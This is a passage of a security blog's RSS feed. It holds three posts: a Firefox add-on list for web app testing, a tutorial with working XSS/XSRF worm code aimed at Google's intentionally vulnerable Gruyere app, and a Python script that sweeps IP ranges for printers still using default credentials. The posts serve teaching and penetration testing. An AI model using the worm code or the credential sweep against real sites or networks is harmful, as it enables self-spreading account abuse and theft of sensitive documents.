<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; web security</title>
	<atom:link href="http://travisaltman.com/category/web-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://travisaltman.com</link>
	<description></description>
	<lastBuildDate>Sat, 24 Mar 2012 04:16:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Firefox add-ons for web app assessments</title>
		<link>http://travisaltman.com/firefox-add-ons-for-web-app-assessments/</link>
		<comments>http://travisaltman.com/firefox-add-ons-for-web-app-assessments/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 03:34:31 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=339</guid>
		<description><![CDATA[These add-ons are mainly related to web application security, you see these types of list related to firefox add-ons but these are the ones that I think are the most helpful. Firefox has a nice category called web application security penetration testing that has a lot of the plugins I&#8217;ll mention.  Not all plugins in [...]]]></description>
			<content:encoded><![CDATA[<p>These add-ons are mainly related to web application security, you see these types of list related to firefox add-ons but these are the ones that I think are the most helpful. Firefox has a nice category called <a href="https://addons.mozilla.org/en-US/firefox/collections/adammuntner/webappsec/" target="_blank">web application security penetration testing</a> that has a lot of the plugins I&#8217;ll mention.  Not all plugins in this category are worthwhile which is why I&#8217;m sharing my list.</p>
<p>Detecting <a href="http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank">cross site scripting</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/xss-me/" target="_blank">XSS &#8211; me</a></p>
<p><a href="http://travisaltman.com/tools/ffacuscan.xpi" target="_blank">Acunetix xss scanner</a></p>
<p>I&#8217;ve included the link to the Acunetix add-on from my site. You have to sign up with Acunetix in order to receive the add-on and even then it comes bundled with an executable. If for some reason my link doesn&#8217;t work with your version of firefox then simply go to the Acunetix site and download their latest version.</p>
<p>Detecting <a href="http://www.owasp.org/index.php/SQL_Injection" target="_blank">sql injection</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">SQL inject me</a></p>
<p>Developer tools are always handy to have because if you can build it you can break it. The web developer add-on will allow you to easily see hidden form fields, javascript, cookies, etc. Firebug will allow you to easily see how the application is built by simply mouseing over the layout. Firebug is also a debugger and will allow you to set breakpoints for javascript, both are a must have.</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/firebug/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Firebug</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Web developer</a></p>
<p>Modification tools, if you want to modify a request before it&#8217;s sent to the server tamper data is a great tool inside the browser for the job. User agent switcher will allow you to pretend to be any browser you&#8217;d like, don&#8217;t forget the starbucks iphone problem. Add n edit cookies is another modification tool that will allow you to easily change cookies so that you can impersonate a cookie you have obtained.</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Tamper data</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">User agent switcher</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/add-n-edit-cookies/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Add n edit cookies</a></p>
<p>Miscellaneous add-ons. Show IP is a great add-on that will show you the IP connecting to, this may seem lame at first but when you are assessing multiple environments or malware this is always handy. Leet key is another great tool inside the browser that will perform encoding (base64, URL, rot13, etc) and even generate <a href="http://en.wikipedia.org/wiki/Hash_function" target="_blank">hashes</a>.</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/showip/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Show IP</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/leet-key/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Leet key</a></p>
<p>Notable mentions</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/" target="_blank">Foxy proxy</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/" target="_blank">Noscript</a></p>
<p>If you have any other recommendations please let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/firefox-add-ons-for-web-app-assessments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to write a web app worm</title>
		<link>http://travisaltman.com/how-to-write-a-web-app-worm/</link>
		<comments>http://travisaltman.com/how-to-write-a-web-app-worm/#comments</comments>
		<pubDate>Sat, 06 Nov 2010 04:54:46 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=310</guid>
		<description><![CDATA[When I say web app worm I mean a web site specific worm such as twitter. Twitter has been picked on (they should be because it&#8217;s a meaningless app) when it comes to web app worms so why stop now. There are other types of worms that could include web servers and databases but that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://travisaltman.com/wp-content/worm.png"><img class="size-full wp-image-313 alignleft" title="worm" src="http://travisaltman.com/wp-content/worm.png" alt="" width="107" height="180" /></a>When I say web app worm I mean a web site specific worm such as twitter. Twitter <a href="http://www.metro.co.uk/tech/842197-wtf-worm-sees-twitter-swamped-by-goat-sex" target="_blank">has been picked</a> on (they should be because it&#8217;s a meaningless app) when it comes to <a href="http://www.guardian.co.uk/technology/pda/2010/sep/22/twitter-onmouseover-worm" target="_blank">web app worms</a> so why stop now. There are other types of worms that could include web servers and databases but that won&#8217;t be addressed in this write up. The web app I&#8217;ll pick on for this example is <a href="http://google-gruyere.appspot.com/" target="_blank">Gruyere</a>. Gruyere is an intentional vulnerable application that a handful of folks over at google wrote to point out some of the major vulnerabilities within web applications. Gruyere is very twitter like so my example would be relevant to other applications that function in similar ways.</p>
<p>Most web site worms spread because they allow javascript to be inserted somewhere into the web application. For example in twitter when a status is updated (via a moronic &#8220;tweet&#8221;) you are allowed to insert words, sentences, and even links to other interesting sites. If twitter allows you to input all this information what do they block? Javascript is a well known programming language that you should never allow to be inserted into your web application. Even though many web developers know this they continually make mistakes and allow javascript to be inserted into their web apps. There are different categories of javascript attacks such as <a href="http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank">XSS</a> and <a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" target="_blank">XSRF</a>, I&#8217;m not a big fan of this naming convention but  you should be familiar with the terms and what they mean. Most all web app worms are spread via the XSRF attack. Basically a XSRF attack is where javascript (possibly other languages) is inserted into the web app, that javascript will then make a request on behalf of the user. This request could be malicious in nature or in case of the twitter worm examples just for fun. The example I&#8217;ll be going over will be a classic XSRF attack where I&#8217;ll insert javascript to make requests on behalf of the user.</p>
<p>Let&#8217;s get started. I went ahead and created several accounts within Gruyere to demo the attack, in this case Travis will be the attacker.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_082.png"><img class="size-full wp-image-317 alignnone" title="Selection_082" src="http://travisaltman.com/wp-content/Selection_082.png" alt="" width="370" height="249" /></a></p>
<p>To create a web app worm first you&#8217;ll need to discover a vulnerability within a web app that allows you to insert javascript. Luckily the &#8220;New Snippet&#8221; functionality will allow us to insert javascript. Now to find vulnerable input that allows you to insert javascript may not be that easy. In order to successfully insert javascript you&#8217;ll need to be able to insert certain characters such as &#8220;&lt;&#8221; and &#8220;&gt;&#8221;. One great tool to find these characters which will in turn find vulnearbilities is <a href="https://addons.mozilla.org/en-US/firefox/addon/7598/" target="_blank">Firefox addon named &#8220;XSS Me&#8221;</a>. XSS Me will tell if an input will allow certain characters. So now that we have vulnerable input how do we get this worm started? As the attacker I will place the following link into a new snippet.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_083.png"><img class="alignnone size-full wp-image-320" title="Selection_083" src="http://travisaltman.com/wp-content/Selection_083.png" alt="" width="589" height="93" /></a></p>
<p>Now all I&#8217;m doing here is creating a link to my evil code, to create a worm you don&#8217;t have to keep your evil code in another location you could insert all the evil code you need into the vulnerable web app itself. Most of the time inserting all of your evil code into the app itself would be ideal but it really depends on what the vulnerable app will allow you to do. Now that we&#8217;ve inserted a link to our evil code what exactly does our evil code look like, below is the source code in evil.html.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;p &lt;body onload=&quot;Wait();&quot;&gt;&lt;img src=&quot;http://google-gruyere.appspot.com/251625447516/newsnippet2?snippet=%3Ca%20href%3D%22http%3A%2F%2Ftravisaltman.com%2Fevil.html%22%3Ekitten%20videos%3C%2Fa%3E&quot;&gt;<br />
&lt;script&gt;<br />
function Redirect()<br />
{<br />
window.location=&quot;http://google-gruyere.appspot.com/251625447516/&quot;;<br />
}<br />
function Wait()<br />
{<br />
setTimeout(&quot;Redirect()&quot;, 1000);<br />
}<br />
&lt;/script&gt;</div></td></tr></tbody></table></div>
<p>Now let&#8217;s break evil.html down line by line. All the magic is happening in line one. The first thing that is written is the html paragraph tag &#8220;&lt;p&#8221;, this is done specifically for this app because anything after the &lt;p&gt; tag would allow other characters. Next is the html body tag with an &#8220;onload&#8221; action. An action in malicious code is common so that the attacker perform other steps, another common action event is an onmouseover event. Once the page loads it will call the &#8220;Wait&#8221; function, we&#8217;ll come back to that in just a bit. After the wait is the image tag (&lt;img&gt;) to make the XSRF request for me. The request is to add a new snippet to whomever clicks on the link. In this case if a victim were to click on my link it would create a new snippet for them with a link saying &#8220;kitten videos&#8221;. To add a new snippet within Gruyere the url would be the following</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://google-gruyere.appspot.com/251625447516/newsnippet2?snippet=</div></div>
<p>Anything after the equal sign would show up as a new snippet so I inserted the following &#8220;malicious&#8221; snippet</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">%3Ca%20href%3D%22http%3A%2F%2Ftravisaltman.com%2Fevil.html%22%3Ekitten%20videos%3C%2Fa%3E</div></div>
<p>So what does all that mess mean? If you take all that mess and url decode it&#8217;s the following.</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://travisaltman.com/evil.html&quot;</span>&gt;</span>kitten videos<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;</span></div></div>
<p>In this case I had to <a href="http://meyerweb.com/eric/tools/dencoder/" target="_blank">url encode</a> my attack so that it would work, this is not uncommon when performing these types of attacks. So as the attacker I&#8217;m placing a link inside a new snippet for the victim that says &#8220;kitten videos&#8221; but that link is still pointing to my evil.html. Now let&#8217;s get back to the wait function. I won&#8217;t break it down line by line but what happens is when the page fully loads the code will jump to the wait function on line seven. After that setTimeout will execute after one second which calls the Redirect function, the Redirect function will redirect the user to the home page of Gruyere. The whole point of everything after line one is to simply redirect the user back to the homepage after the attack. So now that we have planted the seed of attack let&#8217;s see what happens when Alice clicks on our evil link.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_084.png"><img class="alignnone size-full wp-image-328" title="Selection_084" src="http://travisaltman.com/wp-content/Selection_084.png" alt="" width="355" height="237" /></a></p>
<p>Just by clicking on our &#8220;evil&#8221; link Alice created a snippet that she herself didn&#8217;t write, it was our malicious javascript that created the link. Now let&#8217;s login as Bob and click on the &#8220;kitten videos&#8221; in Alice&#8217;s snippets.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_086.png"><img class="alignnone size-full wp-image-331" title="Selection_086" src="http://travisaltman.com/wp-content/Selection_086.png" alt="" width="373" height="238" /></a></p>
<p>Bob has now updated his snippets just by simply clicking on the link in Alice&#8217;s snippet. You can now see how this can snowball much like other web app worms have spread as well. So in only a few lines of code I have created a worm that will replicate throughout the application infecting whomever clicks on my malicious link. The twitter worm was <a href="http://www.wait-till-i.com/2010/09/26/new-twitter-exploit-how-it-works/" target="_blank">very simple</a> as well. I could have just as easily made it that if a user were to simply view my snippet that they would get infected as well. Once you allow javascript to be inserted into your app that are a number of things an attacker can do to manipulate your application.</p>
<p>Hopefully this small write up at least some what explains how web app worms get created and how simple they can be. Developers of major applications such as twitter need to better test and review code they have written. As one of my links points out a seventeen year old kid exploited the mighty twitter, just goes to show you how well major applications are focusing on their security. As a user I would never click on a link that you don&#8217;t trust and turn off javascript for web apps that don&#8217;t need javascript in the first place. If another worm pops up in twitter or facebook I won&#8217;t be sad.</p>
]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/how-to-write-a-web-app-worm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Python script to check for vulnerable printers</title>
		<link>http://travisaltman.com/python-script-to-check-for-vulnerable-printers/</link>
		<comments>http://travisaltman.com/python-script-to-check-for-vulnerable-printers/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 03:14:30 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[http]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=295</guid>
		<description><![CDATA[People often overlook printers when it comes to information security. Truth is that a ton of useful information can be found in printers. Employees will often scan sensitive documents such as social security cards, loan information, birth certificates, etc. I&#8217;ve also seen important organizational information on printers such as internal memos between higher up executives. [...]]]></description>
			<content:encoded><![CDATA[<p>People often overlook printers when it comes to information security. Truth is that a ton of useful information can be found in printers. Employees will often scan sensitive documents such as social security cards, loan information, birth certificates, etc. I&#8217;ve also seen important organizational information on printers such as internal memos between higher up executives. The documents I&#8217;ve seen in the past were never meant to be shared but a default printer will more than happily share your sensitive information. Almost any new commercial printer will come with a ton of features to store and retrieve any documentation that flows through the printer (copy, scan, and print jobs). Almost all of these new printers also give you a web interface to retrieve that documentation, an example of a <a href="http://www.buyastrostuff.com/ftp/Rays/5100/Web-Interface.jpg" target="_blank">printer&#8217;s web interface can be seen here</a>. When I&#8217;m performing a <a href="http://en.wikipedia.org/wiki/Penetration_test" target="_blank">penetration test</a> I always go for the web interface of a printer, the web interface is where I can grab all the sensitive information. These printers usually get unboxed and plugged into the network without much configuration from the default state, this means that the web interface is wide open with default usernames and passwords. Usually admin access to these printers will give you more access and it&#8217;s this admin access that I check for.</p>
<p>When you&#8217;ve only got a limited amount of time during a penetration test you want to get the best bang for your buck so I created a python script that will go and check for default usernames and passwords on certain models of printers. Below is the python script.</p>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib2</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<br />
target <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
eachIPinList <span style="color: #66cc66;">=</span> target.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span> target.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
output <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'w'</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #dc143c;">string</span> <span style="color: #ff7700;font-weight:bold;">in</span> eachIPinList:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">try</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Trying '</span> + <span style="color: #dc143c;">string</span>.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; theurl <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'http://'</span> + <span style="color: #dc143c;">string</span>.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> + <span style="color: #483d8b;">'/index.html'</span><br />
&nbsp; &nbsp; username <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'root'</span><br />
&nbsp; &nbsp; password <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">''</span><br />
<br />
&nbsp; &nbsp; passman <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">HTTPPasswordMgrWithDefaultRealm</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; passman.<span style="color: black;">add_password</span><span style="color: black;">&#40;</span><span style="color: #008000;">None</span><span style="color: #66cc66;">,</span> theurl<span style="color: #66cc66;">,</span> username<span style="color: #66cc66;">,</span> password<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; authhandler <span style="color: #66cc66;">=</span>  <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">HTTPBasicAuthHandler</span><span style="color: black;">&#40;</span>passman<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; opener <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">build_opener</span><span style="color: black;">&#40;</span>authhandler<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">install_opener</span><span style="color: black;">&#40;</span>opener<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; pagehandle <span style="color: #66cc66;">=</span>  <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">urlopen</span><span style="color: black;">&#40;</span>theurl<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> pagehandle.<span style="color: black;">getcode</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">==</span> <span style="color: #ff4500;">200</span>:<br />
&nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">string</span><span style="color: black;">&#41;</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">except</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">pass</span></div></div>
<p>Usage:  at the command line type the following</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">python nameOfScript.py IPlist.txt output.txt</div></div>
<p>So this script takes two arguments, 1) A list of IP&#8217;s you&#8217;ll want to test against, 2) Name of an output file where successful attempts are logged. If you&#8217;re having troubles running the script read my <a href="http://travisaltman.com/password-dictionary-generator/" target="_blank">other post about running a python script</a>. The output.txt will contain a list of IP&#8217;s that the script was able to log into. There are three variables that you&#8217;ll have to modify for your particular printer model that you are trying to scan for on your network, they are listed below.</p>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">theurl <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'http://'</span> + <span style="color: #dc143c;">string</span>.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> &nbsp;+ <span style="color: #483d8b;">'/index.html'</span><br />
username <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'root'</span><br />
password <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">''</span></div></div>
<p>Username and password variables should be obvious, simply put in the default username and password of the printer on your network. The only thing you&#8217;ll have to change in &#8216;theurl&#8217; variable is the last quoted string. In my case it was &#8216;/index.html&#8217;, in your case it could be &#8216;/auth/login.html&#8217;. Variable &#8216;theurl&#8217; builds the http request used to log into your printer&#8217;s web interface. A full example is below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://192.168.1.5/index.html</div></div>
<p>This script is doing nothing more than trying to log into the web interface of a printer, that&#8217;s it. So the script is not limited to printers, it can be used against any web application that takes a username and password. Although this script can be used against any web application there is a limitation.  This script authenticates to the printer using Basic Access Authentication. There are three main ways to authenticate to a web application.</p>
<ol>
<li>HTTP Basic Access Authentication</li>
<li>HTTP Digest Access Authentication</li>
<li>HTML Form-based Authentication</li>
</ol>
<p>So this script will not work if your web application (printer in this case) is using the second or third option. How would you know which one your printer or web application is using? Turns out OWASP has a nice write up on <a href="http://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29#Black_Box_testing_and_example" target="_blank">how to test which type of authentication</a> your web application is using. Turns out that no one really uses one and two because they are not as secure as HTML Form-based Authentication wrapped inside SSL. Of course some printers use Basic Authentication because they are poorly built. Basic Authentication actually passes your username and password essentially in <a href="http://en.wikipedia.org/wiki/Plaintext" target="_blank">plaintext</a>, the only way it tries to hide your username and password is by <a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a> encoding them which is easily transformed back into plaintext. I don&#8217;t want to get lost in the weeds to much but just knowing that your printer is using Basic Authentication is bad enough. Even if you set a strong username and password anyone <a href="http://en.wikipedia.org/wiki/Packet_analyzer" target="_blank">sniffing network traffic </a>would be able to determine your credentials.</p>
<p>I kicked this script over to <a href="http://davehuggins.com/blog/" target="_blank">Dave Huggins</a> who has tons of experience developing Python applications and he quickly improved upon it by adding the functionality of IP ranges instead of a file. His enhancements can be seen below.</p>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">def</span> IPRange<span style="color: black;">&#40;</span>octets<span style="color: #66cc66;">,</span> func<span style="color: #66cc66;">=</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> func <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">&quot;&quot;</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">def</span> func<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">pass</span><br />
<br />
&nbsp; octets <span style="color: #66cc66;">=</span> <span style="color: black;">&#40;</span>octets.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'.'</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; ranges <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
&nbsp; loop <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> octet <span style="color: #ff7700;font-weight:bold;">in</span> octets:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> octet.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'-'</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> -<span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; &nbsp; spot <span style="color: #66cc66;">=</span> octet.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'-'</span><span style="color: black;">&#41;</span> + <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; octets<span style="color: black;">&#91;</span>loop<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>octet<span style="color: black;">&#91;</span>:octet.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'-'</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; ranges.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span>octet<span style="color: black;">&#91;</span>spot:<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span> + <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; octets<span style="color: black;">&#91;</span>loop<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>octet<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; ranges.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span>octet<span style="color: black;">&#41;</span> + <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; loop +<span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; CurrentAddress <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;&quot;</span><br />
&nbsp; loop <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">0</span><br />
&nbsp; output <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> one <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>octets<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> ranges<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> two <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>octets<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> ranges<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> three <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>octets<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> ranges<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>:<br />
